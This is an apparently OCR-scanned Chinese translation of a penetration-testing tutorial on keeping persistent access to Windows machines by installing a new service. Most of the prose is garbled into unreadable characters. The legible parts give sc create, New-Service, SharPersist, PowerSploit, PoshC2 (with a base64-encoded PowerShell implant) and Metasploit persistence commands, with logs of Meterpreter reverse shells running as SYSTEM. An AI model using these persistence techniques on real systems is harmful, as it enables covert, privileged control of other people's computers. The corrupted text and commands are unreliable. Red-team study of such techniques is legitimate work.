SRR IE A IC B WIndows ERIFEH 4 IR 55 BIUX L6 55 1T AR AR AT, IX IR 55 7] RE S ERUR 1
Tto GUEE— DAY TR E M RPAIRIEAL, C LA ZEMBITRE ATERAR . R, FELLARYIT3
th, B ARLEAE G AR T THDE A BRI A w], ATLARSRELEE— PR, ol s7SOCRESs, LA
UG A b i AR BRI g o

an S17CIR

ISk S B AT SRR, AT LA SRR AR OIS . 240" binpath ” F T TR A R
#, mM2E" auto " H THLUERIRS B 3h)H 3.

sc create pentestlab binpath= "cmd.exe /k C:\temp\pentestlab.exe" start="auto"
obj="LocalSystem"
sc start pentestlab

C:\temp create pentestlab binpath= "cmd.exe /k C:\temp\pentestlab.exe" start="auto"” obj="LocalSystem"
[SC] CreateService SUCCESS

~ o\

“:\temp>sc start pentestlab

CMD —#riii 55

o, AILAEL M PowerShelll i # i 45

New-Service -Name "pentestlab" -BinaryPathName "C:\temp\pentestlab.exe" -
Description "PentestLaboratories" -StartupType Automatic

sc start pentestlab

PS C:Windows system32> New—Service
Automatic

DisplayName

Btopped pentestlabh pentestlab

:sWindows~system32> sc start pentestlab
sWindowsssystem32> _

PowerShell#: 4 Pk —Hr R %

FEMRMELL T, JE3hRSs IR FT )T Meterpreter£:if.


af://n2

[*] ed reve CP handler on 190.8.2.21:4444

[*] ing s 06403 bytes) to 10.0.2.30

[*] preter ion 9 opened (10.8.2.21:4444 -> 10.0.2.30:49678) at 2019-10-
05 15.39:49 -9409

meterpreter = getuid
Server username: NT AUTHORITY“SYSTEM

meterpreter > [

Meterpreter — ¥ %

SharPersist

SharPersist sy Fr7EZ &G KRG H ORI SS FRF AMEROR . 15 R G L2248 B 55 75 B4R TH 5 AR
(AHERE T o DUN I TH g, 2R AEWindows 5 3 /4 A R G A TR
AR

SharPersist -t service -c "C:\Windows\System32\cmd.exe™ -a "/c pentestlab.exe" -

n "pentestlab" -m add

ers>SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c pentestlab.exe" -n "pentestlab™ -m add

INFO: Adding s
INFO: C

INFO: Cc

INFO: S

Se n successfully installed.
Creating EventLog source pentestlab in log Application...

C\Users>»
~ .__IAer__._

SharPersist — 7R 5%

MeterpreterZ il ks, sl S M AR5 A R A TR G 1y SR HIAE JL B i 8

msf5 exploit( ) > exploit

[#] Started reverse TCP handler on 10.0.2.21:4444
[*#] Sending stag 206403 byt to 10.0.2.30

(
[*#] Meterpreter session 3 opened (10.0.2.21:4444 -> 10.0.2.30:49683) at 2019-09-28 16:53:43 -0400

meterpreter > |

SharPersist — i IR 55 1911 2% 25

PowerSploit

PowerSploit i) F T % G155 3E1 7T Ja T 1RE) 7 LASEIFE A . T AR W1~ PowerShell s £k E BN A
M55 — kbl i, BB MSERT T B & SURSTH B — kg2, DT ERA U

Set-ServiceBinPath -Name pentestlab -binPath "cmd.exe /k C:\temp\pentestlab.exe"
Write-ServiceBinary -Name pentestlab -Command "cmd.exe /k

C:\temp\pentestlab.exe"



af://n14
https://github.com/fireeye/SharPersist
af://n22
https://github.com/PowerShellMafia/PowerSploit

PS C:\temp“PowerSploit>» Set-ServiceBinPath pentestlab
rue

PS C::\temp:“PowerSploit> WUrite-ServiceBinary pentestlab

BerviceName Path Command

pentestlab C:\temp\PowerSploit:\service.exe cmd.exe <k C:\temp:\pentestlah.exe

PS C:stemp“PowerSploit>

PowerSploit — At

PoshC2

PoshCo ik BA QI TS E NFF AR AE ST (B2, HifTbase-64 PowerShellfidl, MAZ(E
AT MEAMIALEENL, LU R B shidTizson.

install-servicelevel-persistence

@ OUTLODK (PID:6560)

PoshC2f A — 24T 55

PoshC2¥4 A B L AR g, I HiZan & H4AE B bx 2% ERAT AGTE RTINS


af://n27
https://github.com/nettitude/PoshC2_Python

against implant 3 on host OUTLOOK\panag* @ OUTLOOK (®5/108/2019 16:

1 ypass -Noninteractive -windowsty
it quth Wl BAHIAZQBhAGRAUgBLAGEAZABLAH
BthnhhnB]thhIhBThHPAC“BDHGHAthUhEFATW UhEth“BthHhhCquhHHhC“Bth 3AD
uBOAHIA*UBhAGOhhHBbAEFhT“hUAEDh"UBthGuhCJBSHFHh1thhGUATUBtAFDHW'BDhGuhbgBZ
thhHHh Hh ADQAUWBOAHIAaQBUAGCAK ﬁEgﬁNﬁBzﬁEHﬁﬂﬂBHﬁDﬁﬁQQBtﬁ 1
AMABDAC g cﬁbﬁhrh DﬁBm#GCHHﬁBi sARWBRAE4ANOD 1Ae
BSAEQAR S \GUAUWBrADEAQWEPA J
HcAawBiAFoAcgBl/ JUBtAHHhHHBlhDHthBthIA'hB”hDIhhMBGAEHhPNAthuhVABThHuhnJthEHhTM g
aAAD EHﬁW&BY&Eﬂ | qBahE_ANgBlththB4hEUACABChEIhTUBBAEDAbghvhEHhUUBHAGIAth: EBAWQA
{ WBIAEWATAB3AG4AVABLIAEWAMABQAEUACABOADUAWABNA ?h?gBMﬁGSh.F :
NgA1AHEAbwBaAGMAa(
ABCADY
1AECAbQg

] ]B 0 d
ﬁGuhUthhG: 0 thBHAE[AthJAECAbABqR
HMAaOBMAHEAWgBZADIAEA ﬁADYAththYA (b UwAyADUACO RABPACs h%hAvAEHhcw
JBFAFUAWABZAEMAZWBFACSAMABKADEAaA W,
ADkAWgBIAEGAZWBGAGYAaQBHADAASD EMANWB5A
“BKAGthqB A MATQB ] LUBPhDChT“BphEUAU“
A : hGuANquAthTnh”AHIAquFhEHANUADhFuAVHBh

PoshC2 AME—Hi k55
WS ashEsh, IHEA4F CheckpointServiceUpdater ”, i 75 k435

E4&Yn

WBIAFQACAA3ADUAOQBYADUAK

VOB4AG4ARWEBAEEAGWALAHEAT gBW

WBXAHC .i-.'r‘t:m-h[}c.i«1-1.&5.{-.E‘r‘.l«‘r‘1-BrAGHATHBBAEE A9ACCAKQASAFSASQBPACAAQWBVAGOACABYAGU

<AbWBUAC4AQWBvAGOACABYAGUACWBZAGKADWBUAERADWBKAGUAXQAGADOARABLAGMADWBTAHAACYBLAHMACCY

ABbthh OB4AHQALgEFAG4AYWEBVAGOAaQBUAGCAXDABA OBTAEMASQBJACKAKQAUAFIAZOBhAGOAVABVA
Displayname= CheckpointServiceUpdater start= auto

against implant 2 on host OUTL

PoshC2#¢ A M — GBIk 55

Metasploit
MetasploitfE 2L B — A EFF A, 12 R BRI s AR AR .

2. Wrikss
TR AR SO SERVICE,  DMEAE R G8_E2 BRI SS o


af://n38
https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/

use post/windows/manage/persistence exe
set REXEPATH /tmp/pentestlab.exe

set SESSION 1

set STARTUP SERVICE

set LOCALEXEPATH C:\\tmp

e post/windows/manage/persis
0 REXEPATH /tmp/pentestlab.
REFEPATH == /tmp/pentestlab.exe
msf5 post( = set SESSION 1
SESSION == 1
STARTUP SERVICE

SERVICE
msf5 post( > set LOCALEXEPATH C:\“tmp
LOCALEXEPATH == C:\tmp
msf5 post(

[*] Running module against OUTLOOK
[#] Reading Payload from file /tmp/pentestlab.exe
istent Script written to C:\tmp\default.
uting script C:\tmp\default.exe
E t cutrd wlth PID 5964

VpD OakH

r RC File: /root/.msf4/logs/persistence/0OUTLOOK 20190928.1431/0UTLOOK 20190928.1431.rc¢
eted

Metasploit#f A At — ik 55

T Metasploit£ & [ A AR P AL S AR A R T 30t S 2 e i E AL Meterpreter£:iif.

msf5 exploit( )} = exploit

Started reverse TCP handler on 10.0.2.21:4444
i ) to 10.0.2.30
d (18.0.2.21:4444 -> 10.0.2.30:49682) at 2019-89-28 16:24:55 -0400

r > getuid
rname: NT AUTHORITY\SYSTEM

Metasploit Meterpreter — i i #5145 ATE

FEICATH] KX HIBYPasS BRI, (W TL LW TR T o

JA X ) https://pentestlab.blog/2019/10/07/persistence-new-service/



https://pentestlab.blog/2019/10/07/persistence-new-service/
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